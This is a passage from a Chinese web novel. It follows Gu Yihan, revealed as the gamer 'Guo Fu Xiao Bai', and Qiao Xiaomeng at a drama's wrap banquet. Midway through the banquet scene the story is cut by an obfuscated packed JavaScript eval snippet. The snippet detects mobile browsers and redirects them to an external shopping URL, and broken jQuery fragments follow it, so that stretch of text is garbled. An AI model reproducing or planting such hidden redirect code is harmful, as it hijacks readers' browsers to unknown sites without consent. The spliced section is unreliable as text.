“喂，是白神吗？我是赵制片，请问您现在有时间吗？”赵凯见电话一接通，立刻噼里啪啦讲一堆，就怕对方把电话挂断一样。


    只是，并没有想象中的回复，不管是拒绝还是答应。


    “喂？喂？白神？是你吗白先生？”赵凯拿下手机，看了一眼接通中的对话，“奇怪，怎么没声音？”


    他往旁边靠近窗户的地方走了几步：“听得到吗？白神？是不是信号不好？”


    这时，顾易寒终于把手机靠近耳边，开口了：“嗯，是我，听得到。”


    赵凯激动万分：“白神，终于联系上您了！”


    而站在顾易白前面的助理瞪大了眼睛，一下子看看对着电话笑开花的赵凯，一下子又看看依然靠在墙上，随意接听电话的顾易寒。


    赵凯还对着手机兴奋地挥着手，仿佛对方看得到一样：“白神，是这样的，我们策划元旦过后，启动《王者世界》第二季，除了主播个别调整，其他原班人马……”


    这时助理拉了拉赵凯的衣服，“主任，主任……”


    赵凯挥开他的手，继续对着手机：“不知白神有没有空？我们商量……咦，挂了？”


    “主任……”助理无力地叫了一声。


    “干嘛？没看我……”赵凯停住，因为他看到休息室的门打开了。


    乔小萌站在门口，正笑意盈盈地看着顾易寒。


    顾易寒一手拿手机，一手接过乔小萌的包。


    赵凯来不及细想国服小白挂断电话，他朝乔小萌迎了上去：“乔小姐，您忙完了？”


    这时，顾易寒开口：“有关于下一季的事宜，请让我们考虑一下再做答复吧。今天已经很晚了，我们该回家休息了。”


    说完拉着乔小萌的手要离开。


    乔小萌边走边和他们挥手，“赵制片，再见。”


    赵凯还想挽留，助理拉住他。


    赵凯不悦：“你今天干嘛，没见我在忙吗？”


    眼见两人进了电梯，助理才无奈地开口：“主任，你先听我说，”怕被赵凯打断，助理提高音量：“顾先生就是国服小白！”


    赵凯的脑子像是被人按了暂停键，足足停了好一会。


    半晌，他猛地转身，对着助理大吼：“你不早说！”


    助理委屈，他一直拉他他不理啊！


    赵凯想到什么，“当初与国服小白签约的合同呢？在哪里？”


    签合同要用原名。


    两人立刻去找导演张涛。


    片刻后，赵凯与张涛拿到合同。


    赵凯翻开合同，手指颤抖着翻到签名页。


    上面赫然写着三个字：顾易寒。


    他盯着那三个字看了半天，“这……这……”他的声音都结巴了，“我们当初光顾着看‘国服小白’的ID，居然没注意看真名……”


    导演张涛站在他身边，看清签名后，表情和赵凯如出一辙。


    “我的天，”他喃喃道，“国服小白就在我们眼皮子底下待了几个月，我们愣是没认出来？”


    赵凯突然想起什么，转头问助理：“咱们之前给国服小白发的邀约，都是发给谁的？”


    助理弱弱地说：“发给他微博私信……还有平台那边代转……”


    赵凯捂住脸。


    他们居然放着正主本人不联系，跑去联系一个几乎不上的微博账号。


    -------------------------------------


    《月升记》全剧组杀青了。


    杀青宴定在剧组收工后的第三天晚上。


    地点选在京郊一家私密性极好的园林式酒店。剧组包下了整个东苑，从大门进去，穿过一道曲折的回廊，便是宴客厅。


    乔小萌到的时候，宴客厅里已经热闹起来了。


    她穿着简单的T恤牛仔裤，头发松松绑在脑后，脸上只化了淡妆。这段时间的形体训练让她的气质愈发沉静，与初出茅庐的林静气质完全不一样，站在人群里，有种不动声色的吸引力。


    顾易寒跟在她身后，依旧是简单的黑衣黑裤，却因为那张脸和周身的气场，引得不少人频频侧目。


    刘柯走在最后，手里拎着乔小萌的包，活像个尽职的老妈子。


    “小萌，这边！”


    林初的声音从宴客厅深处传来。她坐在主桌那边，正朝乔小萌挥手，旁边是白晴岚、沈之言、肖寒，还有导演王淑华和几位投资方代表。


    乔小萌快步走过去，林初已经站起来，一把拉住她的手，把她按在自己旁边的座位上。


    “坐这儿，特意给你留的。”


    乔小萌有些受宠若惊：“林初姐，这……”


    “这什么这，”林初笑盈盈的，眼睛往她身后瞟了一眼，“你哥呢？”


    乔小萌回头，看见顾易寒正站在宴客厅门口，和刘柯说着什么。


    “他在那边，和刘哥一起。”


    林初点点头，又拉着她坐下，压低声音说：“要不要让他过来一起坐？咱们都是自家人了，难得有时间一起见到你们两个。”


    自家人。


    乔小萌心里一动，想起顾家公开前她与她哥闹的那一出，莫名有些心虚。


    她一开始可不希望他回顾家。


    “那个，他和刘哥一起就好。”顾易寒的性子其实很清冷，不喜外人，除非不得已，不然不喜欢这种场合。


    她偷偷看了一眼林初，对方正笑眯眯地给她倒果汁，神情自然，看不出什么异样。


    “小萌，”白晴岚坐在对面，微笑着看向乔小萌，语气里带着几分好奇，“听说你接下来要进李诚导演的组了？”


    乔小萌点点头：“嗯，刚定下来不久。”


    “李导的戏可是出了名的磨人，”白晴岚笑了笑，“如果他凶你，你不要在意，努力达到他的要求就好。”


    “我知道了，谢谢白姐。”


    王淑华导演闻言也凑过来，语气里带着几分得意：“怎么样，是我推荐的，老李还要感谢我！”


    白晴岚失笑：“王导您就别嘚瑟了，我们都知道您眼光好。”


    一桌人都笑了起来，气氛轻松融洽。


    “对了，”林初突然想起什么，“对了，你什么时候有时间，和你哥一起回顾家吃顿饭吧，老爷子在念叨你呢。”


    乔小萌愣了一下，第一反应是抗拒。


    她微微转头，看向角落里与刘柯一起正要落座的顾易寒，想到什么，缓缓点下头：“好。”


    林初满意地拍了拍她的手。


    宴席正式开始。


    一道道精致的菜肴端上来，觥筹交错间，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200264|194420||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话题从剧本聊到演员，从演员聊到投资，又从投资聊到最近的行业动态。


    乔小萌大多数时候安静地听着，偶尔被点到名才说几句。


    她发现自己越来越能适应这种场合了。不是学会了圆滑世故，而是学会了在不自在的时候，依然保持从容。


    这种感觉很奇妙。


    就像她那天围读会后对顾易寒说的：她终于不再怀疑自己了。


    酒过三巡，有人开始走动敬酒。


    章制片端着酒杯走过来，目光在桌上扫了一圈，最后落在顾易寒身上。


    顾易寒没有坐主桌，而是和刘柯一起，坐在靠窗的角落那桌。那是专门给经纪人、助理和剧组工作人员留的位置。


    “顾先生，”章制片径直走过去，笑容满面，“怎么坐这儿来了？来来来，上主桌坐，给您留了位置。”


    顾易寒站起身，微微摇头：“章制片客气了，我在这儿挺好。”


    “这怎么行，”章制片不由分说就要拉他，“您是顾老的孙子，又是小萌的……”他顿了顿，斟酌着措辞，“家里人，怎么能坐角落呢？”


    顾易寒依旧摇头，语气温和但坚定：“章制片的好意我心领了。我是以小萌助理的身份来的，坐这儿正合适。”


    章制片还想再劝，刘柯赶紧站起来打圆场：“章制片，您就别为难他了。他这人就这样，不喜欢这种场合，您要真把他拉到主桌去，他反而浑身不自在。”


    章制片看着顾易寒，又无奈又不舍，最后叹了口气：“行吧行吧，你们这些年轻人啊……”


    他摇摇头，端着酒杯回去了。


    刘柯重新坐下，也摇摇头，不过是另一种意味，对顾易寒说：“这就是娱乐圈啊！你不想应酬，应酬也会找上门来。”


    顾易寒没说话，目光越过人群，落在主桌那个绑着小马尾的人身上。


    乔小萌正侧着头听林初说话，眼睛微微弯起，唇边盈着笑意。


    “以后你要帮她处理更多事，”刘柯继续说，“有些事情，光靠躲是躲不掉的。”


    顾易寒收回目光，端起面前的茶杯，轻轻抿了一口。


    “我知道。”


    宴席进行到后半段，敬酒的人越来越多了，整个宴会气氛热烈了起来。


    正如刘柯所说，应酬会找上门来。


    前面见章制片来敬酒，同桌其他演员的经纪人们坐不住了。


    剧组杀青了，这或许是最后一次与顾家人搭上关系的机会，不少人开始蠢蠢欲动。


    这些人借着干杯庆祝的名义过来和他搭话，话里话外试探他和乔小萌的关系。


    顾易寒不为所动，简单举了一下茶杯算是过了。


    众人见状也讪讪地放下酒杯。


    然后几个投资方的人过来，态度殷勤得过分，一口一个“顾先生”，话里话外都是想攀上顾家这层关系。


    顾易寒应付了几句，态度冷淡但不失礼，那些人见他滴水不漏，也无趣地走开了。


    这时，章制片去而复返，这次带了个中年男人，据说是某视频平台的高层。


    “顾先生，这位是我们平台的内容总监，一直想认识您……”


    顾易寒有些烦躁，但想到乔小萌又将这份燥意压了下去。


    他站起身，对对方微微点头：“你好。”